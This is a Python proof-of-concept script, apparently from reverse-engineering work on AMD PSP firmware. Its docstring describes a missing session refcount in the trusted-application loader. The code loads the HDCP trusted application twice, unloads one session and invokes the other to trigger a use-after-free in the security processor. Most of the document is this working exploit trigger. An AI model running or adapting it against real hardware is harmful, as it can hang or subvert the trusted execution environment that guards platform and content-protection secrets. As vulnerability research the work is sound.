1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
"""TA instance lifetime: is there a missing refcount between sessions?
Static finding (sos2):
* tee_load_ta allocates a SESSION slot (48 entries x 32B @ base+76928) by
scanning for the free marker 0xFF, then calls bl_load_ta_image.
* bl_load_ta_image @0x16130 calls ta_find_by_uuid; if the UUID is ALREADY
loaded it does `STRB R0,[R1]` -- storing the EXISTING ta_slot into the new
session entry -- and returns immediately. Two sessions, one instance.
* tee_unload_ta then does tee_ta_teardown(ta_slot) (destroy process, release
objects, unmap) and only afterwards frees ITS OWN session (*v7 = -1).
* The only guard is the flag at instance+0x30, but that is written by
tee_ta_command / ta_signal_cmd_done -- a "command in flight" flag, not a
session refcount.
So: load the same TA twice, unload one session, and the other session should be
left pointing at a destroyed instance.
Sequence:
1. LOAD_TA(hdcp) -> sid_A
2. LOAD_TA(hdcp) -> sid_B (expect a different session id)
3. INVOKE on sid_B (baseline: should work)
4. UNLOAD_TA(sid_A)
5. INVOKE on sid_B (the test: UAF if the instance was destroyed)
Recoverable: worst case is a PSP hang -> psp_recover.py.
"""
import ctypes, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d = Device["AMD"]; adev = d.iface.dev_impl; psp = adev.psp
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
P = '/Users/user/dev/amd-psp-re/psp_out/'
def alive(): return adev.reg(f"{psp.reg_pref}_81").read() != 0
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr, SZ)[:])[864:868], "little")
def alloc(n):
pa = adev.mm.palloc(n, align=0x1000, zero=True); return pa, adev.paddr2mc(pa)
blob = open(P + 'hdcp_full.bin', 'rb').read()
def load_ta():
ap, amc = alloc(0x40000); cp, cmc = alloc(0x8000)
adev.vram.view(ap, len(blob))[:] = blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(amc), lo32(amc); t.app_len = len(blob)
t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
try:
r = psp._ring_submit(c); return r.resp.session_id, cp, 0
except RuntimeError:
return None, cp, stat()
except TimeoutError:
return None, cp, -1
def invoke(sid, tc=0x12):
adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
ic = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv = ic.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, tc
try:
psp._ring_submit(ic); return 0
except RuntimeError:
return stat()
except TimeoutError:
return -1
def unload(sid):
adev.vram.view(psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
c.cmd.cmd_unload_ta.session_id = sid
try:
psp._ring_submit(c); return 0
except RuntimeError:
return stat()
except TimeoutError:
return -1
def show(x): return "TIMEOUT" if x == -1 else hex(x)
print("alive:", alive())
sid_a, shm_a, e1 = load_ta(); print("1) LOAD_TA #1 -> sid_A=%s err=%s" % (sid_a, show(e1)))
sid_b, shm_b, e2 = load_ta(); print("2) LOAD_TA #2 -> sid_B=%s err=%s" % (sid_b, show(e2)))
if sid_a is None or sid_b is None:
print(" (a load failed; cannot run the test)"); raise SystemExit
print(" distinct session ids:", sid_a != sid_b)
print("3) INVOKE(sid_B) baseline -> %s" % show(invoke(sid_b)))
print("4) UNLOAD_TA(sid_A) -> %s" % show(unload(sid_a)))
print(" alive after unload:", alive())
print("5) INVOKE(sid_B) AFTER unload -> %s <<< UAF test" % show(invoke(sid_b)))
print(" alive:", alive())
print("6) INVOKE(sid_A) (freed sess) -> %s" % show(invoke(sid_a)))
print(" alive at end:", alive())
|